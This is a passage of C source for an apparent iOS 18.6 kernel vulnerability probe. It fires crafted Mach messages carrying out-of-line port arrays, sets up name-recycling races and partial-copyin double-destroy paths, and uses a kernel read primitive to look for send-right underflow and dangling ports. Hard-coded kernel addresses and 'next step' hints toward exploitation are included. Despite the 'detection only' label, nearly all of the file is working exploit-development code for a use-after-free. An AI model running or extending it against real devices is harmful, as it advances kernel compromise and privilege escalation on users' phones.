        append_line(buf, buflen, used, "  victim FAIL\n");
        return;
    }
    (void)mach_port_insert_right(mach_task_self(), victim, victim, MACH_MSG_TYPE_MAKE_SEND);

    recycle_ctx_t ctx = { 0, 0, sink_names, 0 };
    pthread_t tid;
    pthread_create(&tid, NULL, recycle_thread, &ctx);

    int send_ok = 0, send_fail = 0;
    int32_t s_min = 0x7fffffff, s_max = -1;
    for (int iter = 0; iter < RACE_ITER; iter++) {
        /* Restore send right each iteration — MOVE_SEND consumes it. */
        (void)mach_port_insert_right(mach_task_self(), victim, victim, MACH_MSG_TYPE_MAKE_SEND);
        for (int i = 0; i < RACE_NAMES; i++) names[i] = victim;
        memset(msgbuf, 0, sizeof(msgbuf));
        fill_common_header(&m->hdr, recv_p,
                           (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)));
        m->body.msgh_descriptor_count = 1;
        m->ool.address     = names;
        m->ool.deallocate  = 0;
        m->ool.copy        = MACH_MSG_VIRTUAL_COPY;
        m->ool.disposition = MACH_MSG_TYPE_MOVE_SEND;
        m->ool.type        = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        m->ool.count       = RACE_NAMES;

        kern_return_t kr = mach_msg((mach_msg_header_t *)msgbuf,
                                    MACH_SEND_MSG,
                                    (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)),
                                    0,
                                    MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        if (kr == KERN_SUCCESS) send_ok++; else send_fail++;

        /* Snapshot victim srights after each send */
        uint64_t vva = krw_resolve_port(krw, victim);
        if (vva && krw->kread) {
            uint32_t v = 0;
            if (krw->kread(vva + 0x7c, &v, 4) == 0) {
                int32_t s = (int32_t)v;
                if (s < s_min) s_min = s;
                if (s > s_max) s_max = s;
            }
        }
        /* Drain receive side */
        uint8_t rbuf[512];
        mach_msg((mach_msg_header_t *)rbuf,
                 MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(rbuf),
                 recv_p, 1, MACH_PORT_NULL);
    }
    ctx.stop = 1;
    pthread_join(tid, NULL);

    int32_t s_final = -1;
    uint32_t io_refs = 0;
    uint64_t vva = krw_resolve_port(krw, victim);
    if (vva && krw->kread) {
        uint32_t v = 0;
        if (krw->kread(vva + 0x7c, &v, 4) == 0) s_final = (int32_t)v;
        if (krw->kread(vva + 0x04, &v, 4) == 0) io_refs = v;
    }
    mach_port_type_t ty = 0;
    (void)mach_port_type(mach_task_self(), victim, &ty);

    append_line(buf, buflen, used,
                "  iterations=%d send_ok=%d send_fail=%d recycled=%d\n",
                RACE_ITER, send_ok, send_fail, ctx.recycled);
    append_line(buf, buflen, used,
                "  srights min=%d max=%d final=%d io_refs=%u type=0x%x\n",
                s_min, s_max, s_final, io_refs, ty);
    if (s_min < 0)
        append_line(buf, buflen, used, "  >> RACE: srights NEGATIVE ★ underflow\n");
    else if (s_final == 0 && ty != 0)
        append_line(buf, buflen, used, "  >> RACE: srights=0 but name alive — dangling ★\n");
    else
        append_line(buf, buflen, used, "  >> RACE: no underflow (srights=%d)\n", s_final);

    /* Cleanup sink names */
    for (int i = 0; i < ctx.sink_count; i++) port_drop(sink_names[i]);
    port_drop(victim);
    port_drop(recv_p);
    #undef RACE_ITER
    #undef RACE_NAMES
}

static void
ool_partial_test(char *buf, size_t buflen, size_t *used,
                 const ool_uaf_krw_t *krw)
{
    append_line(buf, buflen, used,
                "\n=== PARTIAL: copyin failure + double-destroy (§4.2) ===\n");

    #define PARTIAL_N 4
    mach_port_name_t recv_p = MACH_PORT_NULL, victim = MACH_PORT_NULL;
    mach_port_name_t names[PARTIAL_N];
    uint8_t msgbuf[512];
    ool_msg_raw_t *m = (ool_msg_raw_t *)msgbuf;

    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_p) != KERN_SUCCESS) {
        append_line(buf, buflen, used, "  sink FAIL\n");
        return;
    }
    (void)mach_port_insert_right(mach_task_self(), recv_p, recv_p, MACH_MSG_TYPE_MAKE_SEND);
    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &victim) != KERN_SUCCESS) {
        port_drop(recv_p);
        append_line(buf, buflen, used, "  victim FAIL\n");
        return;
    }
    (void)mach_port_insert_right(mach_task_self(), victim, victim, MACH_MSG_TYPE_MAKE_SEND);

    /* names[0]=victim (has send right), names[1]=recv-only (valid name, no
       send right to move → per-port copyin fails), names[2,3]=victim */
    mach_port_name_t recv_only = MACH_PORT_NULL;
    if (mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_only) == KERN_SUCCESS) {
        /* deliberately NO insert_right — receive-only, no send right */
    }
    names[0] = victim;
    names[1] = recv_only ? recv_only : (mach_port_name_t)0x12345678; /* valid-looking but bad */
    names[2] = victim;
    names[3] = victim;

    memset(msgbuf, 0, sizeof(msgbuf));
    fill_common_header(&m->hdr, recv_p,
                       (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)));
    m->body.msgh_descriptor_count = 1;
    m->ool.address     = names;
    m->ool.deallocate  = 0;
    m->ool.copy        = MACH_MSG_VIRTUAL_COPY;
    m->ool.disposition = MACH_MSG_TYPE_MOVE_SEND;
    m->ool.type        = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    m->ool.count       = PARTIAL_N;

    kern_return_t kr = mach_msg((mach_msg_header_t *)msgbuf,
                                MACH_SEND_MSG,
                                (mach_msg_size_t)(sizeof(m->hdr) + sizeof(m->body) + sizeof(m->ool)),
                                0,
                                MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    append_line(buf, buflen, used,
                "  partial send (NULL at slot 1): send=%s(0x%x)\n", kr_name(kr), kr);

    /* Snapshot victim after the partial send */
    int32_t s_after = -1;
    uint32_t io_refs = 0;
    uint64_t vva = krw_resolve_port(krw, victim);
    if (vva && krw->kread) {
        uint32_t v = 0;
        if (krw->kread(vva + 0x7c, &v, 4) == 0) s_after = (int32_t)v;
        if (krw->kread(vva + 0x04, &v, 4) == 0) io_refs = v;
    }
    mach_port_type_t ty = 0;
    (void)mach_port_type(mach_task_self(), victim, &ty);
    append_line(buf, buflen, used,
                "  after partial: srights=%d io_refs=%u type=0x%x name_alive=%d\n",
                s_after, io_refs, ty, ty != 0);

    /* Now force destroy the message by destroying the receive queue */
    port_drop(recv_p);
    recv_p = MACH_PORT_NULL;

    /* Snapshot again after destroy */
    int32_t s_after_destroy = -1;
    uint32_t io_refs2 = 0;
    if (vva && krw->kread) {
        uint32_t v = 0;
        if (krw->kread(vva + 0x7c, &v, 4) == 0) s_after_destroy = (int32_t)v;
        if (krw->kread(vva + 0x04, &v, 4) == 0) io_refs2 = v;
    }
    (void)mach_port_type(mach_task_self(), victim, &ty);
    append_line(buf, buflen, used,
                "  after queue destroy: srights=%d io_refs=%u type=0x%x name_alive=%d\n",
                s_after_destroy, io_refs2, ty, ty != 0);

    if (s_after_destroy < 0)
        append_line(buf, buflen, used, "  >> PARTIAL: srights NEGATIVE ★ underflow\n");
    else if (s_after_destroy == 0 && ty != 0)
        append_line(buf, buflen, used, "  >> PARTIAL: srights=0 but name alive — dangling ★\n");
    else if (s_after != s_after_destroy)
        append_line(buf, buflen, used, "  >> PARTIAL: srights changed on destroy %d→%d ★\n",
                    s_after, s_after_destroy);
    else
        append_line(buf, buflen, used, "  >> PARTIAL: no anomaly (srights=%d)\n", s_after_destroy);

    port_drop(victim);
    if (recv_only) port_drop(recv_only);
    #undef PARTIAL_N
}

/* Full probe report                                                   */
char ool_port_dump[2048];
/* ------------------------------------------------------------------ */

static void
append_line(char *buf, size_t buflen, size_t *used, const char *fmt, ...)
{
    if (*used >= buflen) return;
    va_list ap;
    va_start(ap, fmt);
    int n = vsnprintf(buf + *used, buflen - *used, fmt, ap);
    va_end(ap);
    if (n > 0) {
        if ((size_t)n >= buflen - *used) *used = buflen - 1;
        else *used += (size_t)n;
    }
}

size_t
ool_uaf_probe_run(char *buf, size_t buflen, const ool_uaf_krw_t *krw)
{
    if (!buf || buflen < 256) return 0;
    size_t used = 0;
    buf[0] = 0;

    uid_t uid  = getuid();
    uid_t euid = geteuid();

    append_line(buf, buflen, &used,
        "OOL-port-array UAF probe — iOS 18.6 (22G86) / xnu-11417.140.69\n"
        "Surface: ipc_kmsg_copyin_body 0xfffffff007ff44dc · type==2 0xfffffff007ff466c\n"
        "         kalloc(count*8)     0xfffffff007ff46d4  (NO ool_port_array_enforced)\n"
        "         ipc_object_copyout  0xfffffff008004d9c  (NO type-5 gate)\n"
        "Mode: DETECTION ONLY — no kernel writes, no spray, no reclaim.\n"
        "scopeNote: mach_msg is not entitlement-gated; safe from app sandbox.\n"
        "\n");

    struct {
        uint32_t count;
        uint8_t  disp;
        int      dup;
        int      raw;
        int      bump;
    } cases[] = {
        { 2,  MACH_MSG_TYPE_MOVE_SEND,      1, 1, 1 },
        { 2,  MACH_MSG_TYPE_MOVE_SEND,      1, 1, 0 },
        { 4,  MACH_MSG_TYPE_MOVE_SEND,      1, 1, 1 },
        { 4,  MACH_MSG_TYPE_MOVE_SEND,      1, 1, 0 },
        { 2,  MACH_MSG_TYPE_MAKE_SEND,      1, 1, 0 },
        { 4,  MACH_MSG_TYPE_MAKE_SEND,      1, 1, 0 },
        { 2,  MACH_MSG_TYPE_MOVE_SEND,      1, 0, 1 },
        { 2,  MACH_MSG_TYPE_MAKE_SEND,      1, 0, 0 },
        { 2,  MACH_MSG_TYPE_COPY_SEND,      1, 1, 0 },
        { 2,  MACH_MSG_TYPE_MOVE_SEND_ONCE, 1, 1, 0 },
        { 2,  MACH_MSG_TYPE_MAKE_SEND_ONCE, 1, 1, 0 },
        { 8,  MACH_MSG_TYPE_MOVE_SEND,      1, 1, 1 },
        { 16, MACH_MSG_TYPE_MOVE_SEND,      1, 1, 1 },
        { 32, MACH_MSG_TYPE_MOVE_SEND,      1, 1, 1 },
        { 64, MACH_MSG_TYPE_MOVE_SEND,      1, 1, 1 },
        { 8,  MACH_MSG_TYPE_MAKE_SEND,      1, 1, 0 },
        { 32, MACH_MSG_TYPE_MAKE_SEND,      1, 1, 0 },
        { 4,  MACH_MSG_TYPE_MOVE_SEND,      0, 1, 0 },
    };
    const int ncases = (int)(sizeof(cases) / sizeof(cases[0]));

    int ool_send_ok = 0, ool_recv_ok = 0;
    int best_anomaly = 0;
    int32_t srights_b = -1, srights_a = -1;
    int port_alive_flag = -1;
    int name_alive_flag = -1;
    int32_t uref_b = -1, uref_a = -1;
    uint64_t port_va_seen = 0;
    int underflow_suspect = 0;
    int type_confused = 0;

    for (int i = 0; i < ncases; i++) {
        ool_uaf_result_t r;
        if (ool_uaf_trigger_once(cases[i].count, cases[i].disp,
                                 cases[i].dup, cases[i].raw, cases[i].bump,
                                 krw, &r) != 0) {
            append_line(buf, buflen, &used,
                        "[%02d] SETUP FAIL count=%u disp=0x%02x\n",
                        i, cases[i].count, cases[i].disp);
            continue;
        }

        if (r.send_kr == KERN_SUCCESS) ool_send_ok++;
        if (r.recv_kr == KERN_SUCCESS) ool_recv_ok++;

        append_line(buf, buflen, &used,
            "[%02d] %-32s send=%s(0x%x) recv=%s(0x%x) desc=%d\n",
            i, r.tag, kr_name(r.send_kr), r.send_kr,
            kr_name(r.recv_kr), r.recv_kr, r.recv_count);
        append_line(buf, buflen, &used,
            "     type  before=0x%08x after=0x%08x  urefs %d→%d  rrefs %d→%d  alive=%d listed=%d\n",
            r.type_before, r.type_after,
            r.urefs_before, r.urefs_after,
            r.rrefs_before, r.rrefs_after,
            r.port_alive, r.name_alive);

        if (r.ipc_port_va) {
            append_line(buf, buflen, &used,
                "     ipc_port=0x%016llx io_bits 0x%08x→0x%08x io_refs %u→%u"
                " srights@+0x%x %d→%d mscount@+0x%x %d→%d\n",
                (unsigned long long)r.ipc_port_va,
                r.io_bits_before, r.io_bits_after,
                r.io_refs_before, r.io_refs_after,
                r.srights_off, r.srights_before, r.srights_after,
                r.mscount_off, r.mscount_before, r.mscount_after);
            port_va_seen = r.ipc_port_va;
        }

        int score = 0;
        if (r.urefs_before > 0 && r.urefs_after < 0) score += 3;
        if (r.urefs_after < 0 || r.rrefs_after < 0) score += 3;

        if (cases[i].dup && cases[i].disp == MACH_MSG_TYPE_MOVE_SEND) {
            int32_t dropped = r.urefs_before - r.urefs_after;
            if (dropped > (int32_t)cases[i].count + 1) score += 2;
            if (r.urefs_after < 0) score += 4;
        }
        if (r.send_kr == KERN_SUCCESS &&
            cases[i].disp == MACH_MSG_TYPE_MOVE_SEND &&
            cases[i].dup && !cases[i].bump &&
            (r.type_after & MACH_PORT_TYPE_SEND) != 0 &&
            r.urefs_after > 0) {
            score += 2;
            type_confused = 1;
        }
        if (r.ipc_port_va) {
            if (r.io_refs_after == 0 && r.name_alive) score += 4;
            if (r.io_refs_after > 0x7ffffff0u) score += 4;
            if (r.srights_after < 0 && r.srights_before >= 0) score += 5;
            if (r.srights_before > 0 && r.srights_after == 0 && r.name_alive) score += 3;
            if (r.srights_before >= 0 && r.srights_after >= 0) {
                int32_t drop = r.srights_before - r.srights_after;
                if (drop > (int32_t)cases[i].count + 2) {
                    score += 3;
                    underflow_suspect = 1;
                }
                if (r.srights_after < r.srights_before - (int32_t)cases[i].count)
                    underflow_suspect = 1;
            }
        }
        if (!r.port_alive && r.name_alive) score += 2;

        if (score > best_anomaly) best_anomaly = score;
        if (score > 0)
            append_line(buf, buflen, &used, "     ANOMALY score=%d\n", score);

        if (srights_b < 0 && r.srights_before >= 0) {
            srights_b = r.srights_before;
            srights_a = r.srights_after;
        }
        if (port_alive_flag < 0) port_alive_flag = r.port_alive;
        if (name_alive_flag < 0) name_alive_flag = r.name_alive;
        if (uref_b < 0) {
            uref_b = r.urefs_before;
            uref_a = r.urefs_after;
        }
    }

    append_line(buf, buflen, &used, "\n");
    if (ool_port_dump[0])
        append_line(buf, buflen, &used, "%s", ool_port_dump);

    /* H1 follow-up: inflate → destroy and inflate → move */
    if (krw_ok(krw))
        ool_inflate_test(buf, buflen, &used, krw);
    if (krw_ok(krw))
        ool_race_test(buf, buflen, &used, krw);
    if (krw_ok(krw))
        ool_partial_test(buf, buflen, &used, krw);

    /* Fall back to urefs for VERIFY when KRW is absent. */
    int32_t sb = (srights_b >= 0) ? srights_b : uref_b;
    int32_t sa = (srights_a >= 0) ? srights_a : uref_a;

    append_line(buf, buflen, &used,
        "verdict:\n"
        "  OOL_SEND_accepted_on_18.6 = %d   (26.0 SITE1 would reject non-COPY_SEND)\n"
        "  OOL_RECV_ok               = %d\n"
        "  best_anomaly_score        = %d\n"
        "  underflow_suspect         = %d\n"
        "  type_confused_suspect     = %d\n"
        "  ipc_port_va_seen          = 0x%016llx\n",
        ool_send_ok, ool_recv_ok, best_anomaly,
        underflow_suspect, type_confused,
        (unsigned long long)port_va_seen);

    if (ool_send_ok > 0) {
        append_line(buf, buflen, &used,
            "  >> 18.6 accepted OOL-ports with non-COPY_SEND dispositions — "
            "SITE1 gate is ABSENT (confirmed live).\n");
    }
    if (underflow_suspect) {
        append_line(buf, buflen, &used,
            "  >> ip_srights / urefs dropped harder than the moved-right count. "
            "H1 underflow CANDIDATE. Next: kread the port after a single MOVE and "
            "check io_references / zone redzone.\n");
    } else {
        append_line(buf, buflen, &used,
            "  >> no underflow observed in the single-threaded sweep. "
            "H1 may need the name-recycle race (hunt step 2) or a partial-copyin "
            "failure + double-destroy path (hunt §4.2).\n");
    }
    if (type_confused) {
        append_line(buf, buflen, &used,
            "  >> a MOVE of the only send right left a SEND name live. "
            "H2 / double-grant candidate — dump mach_port_type of the copyout names.\n");
    }

    append_line(buf, buflen, &used,
        "\n[VERIFY] GETUID=%d GETEUID=%d OOL_SEND=%d OOL_RECV=%d "
        "SRIGHTS_BEFORE=%d SRIGHTS_AFTER=%d PORT_ALIVE=%d NAME_ALIVE=%d "
        "UREFS_BEFORE=%d UREFS_AFTER=%d UNDERFLOW=%d TYPECONF=%d ANOMALY=%d "
        "VA=0x%llx CASES=%d\n",
        (int)uid, (int)euid, ool_send_ok, ool_recv_ok,
        (int)sb, (int)sa, port_alive_flag, name_alive_flag,
        (int)uref_b, (int)uref_a,
        underflow_suspect, type_confused, best_anomaly,
        (unsigned long long)port_va_seen, ncases);

    return used;
}

/* ------------------------------------------------------------------ */
#ifdef OOL_UAF_PROBE_MAIN
int
main(void)
{
    static char report[64 * 1024];
    size_t n = ool_uaf_probe_run(report, sizeof(report), NULL);
    fwrite(report, 1, n, stdout);
    return 0;
}
#endif
